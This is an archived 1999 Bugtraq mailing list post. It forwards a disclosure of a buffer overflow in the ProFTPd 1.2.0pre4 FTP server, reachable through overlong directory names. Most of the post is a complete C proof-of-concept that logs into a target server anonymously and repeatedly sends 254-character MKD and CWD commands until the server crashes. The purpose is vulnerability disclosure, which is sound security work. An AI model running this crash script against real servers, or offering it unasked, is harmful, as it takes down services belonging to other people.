Bugtraq mailing list archives

[linux-security] buffer overflow in proftpd-1.2.0pre4, supposed to be 'safe' (fwd)


From: jpv () JVELDERS TN TUDELFT NL (Jan-Philip Velders)
Date: Sun, 5 Sep 1999 13:45:56 +0200


---------- Forwarded message ----------
Date: Sun, 05 Sep 1999 02:08:29 +0200 (CEST)
From: Renaud Deraison <deraison () cvs nessus org>
To: linux-security () redhat com
Subject: [linux-security] buffer overflow in proftpd-1.2.0pre4,
     supposed to be 'safe'
Resent-Date: Sun, 05 Sep 1999 06:16:54 +0000
Resent-From: linux-security () redhat com
Resent-cc: recipient list not shown: ;

Hello,

ProFTPd, a FTP server, has been suffering several security holes lately.

However, the version 1.2.0pre4 is still vulnerable to a mkdir attack,
even though it is supposed to be patched against it.

The trick is to create directories whose name don't exceed 255 chars.

I have not looked at this problem in detail, but I could at least make a
pointer point on a bogus location (85858585) using this method.

Attached to this mail is a C program that will make proftpd crash, but
which won't exploit the vulnerability.

Thank you for your attention,

                                -- Renaud

--
Renaud Deraison
The Nessus Project
http://www.nessus.org


#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
/*
 * Crashes ProFTPd 1.2.0pre4 because of a buffer overflow.
 *
 *
 * This bug was discovered by the Nessus Security Scanner
 *
 * I don't know if this flaw can be exploited to gain
 * root privileges.
 *
 *
 * The name of the created directory must not exceed 255 chars !
 *
 *
 * Written by Renaud Deraison <deraison () cvs nessus org>
 *
 */

/*
 * Change this !
 */
#define TARGET "192.168.1.5"
#define WRITEABLE_DIR "/incoming"

int main()
{
 struct in_addr target;
 int soc;
 struct sockaddr_in sa;
 
 char * writeable_dir = "CWD "WRITEABLE_DIR"\r\n";
 char * mkd;
 char * cwd;


 inet_aton(TARGET, &target);
 mkd = malloc(300);     bzero(mkd, 300);
 cwd = malloc(300);     bzero(cwd, 300);
 
 soc = socket(PF_INET, SOCK_STREAM,0);
 
 bzero(&sa, sizeof(sa));
 sa.sin_family = AF_INET;
 sa.sin_port   = htons(21);
 sa.sin_addr.s_addr = target.s_addr;
 if(!(connect(soc, (struct sockaddr *)&sa, sizeof(struct sockaddr_in))))
 {
  char * buf = malloc(1024);
  int i;
  sprintf(mkd, "MKD ");
  memset(mkd+4, 'X', 254);
  sprintf(mkd, "%s\r\n", mkd);
  
  sprintf(cwd, "CWD ");
  memset(cwd+4, 'X', 254);
  sprintf(cwd, "%s\r\n", cwd);
  
  recv(soc, buf, 1024, 0);
  send(soc, "USER ftp\r\n", strlen("USER ftp\r\n"),0);
  recv(soc, buf, 1024, 0);
  bzero(buf,1024);
  send(soc, "PASS pass@\r\n", strlen("PASS pass@\r\n"),0);
  recv(soc, buf, 1024, 0);
  bzero(buf,1024);
  send(soc, writeable_dir, strlen(writeable_dir), 0);
  recv(soc, buf, 1024, 0);
  bzero(buf,1024);
  
  
  for(i=0;i<40;i++)
  {
   send(soc, mkd, strlen(mkd), 0);
   recv(soc, buf, 1024,0);
   if(!strlen(buf))
   {
    printf("Remote FTPd crashed (see /var/log/messages)\n");
    exit(0);
   }
   bzero(buf, 1024);
   send(soc, cwd, strlen(cwd), 0);
   recv(soc, buf, 1024,0);
   if(!strlen(buf))
   {
    printf("Remote FTPd crashed (see /var/log/messages)\n");
    exit(0);
   }
   bzero(buf, 1024);
  }
  printf("You were not vulnerable after all. Sorry\n");
  close(soc);
 }
 else perror("connect ");
 return(0);
}
   
  



Current thread: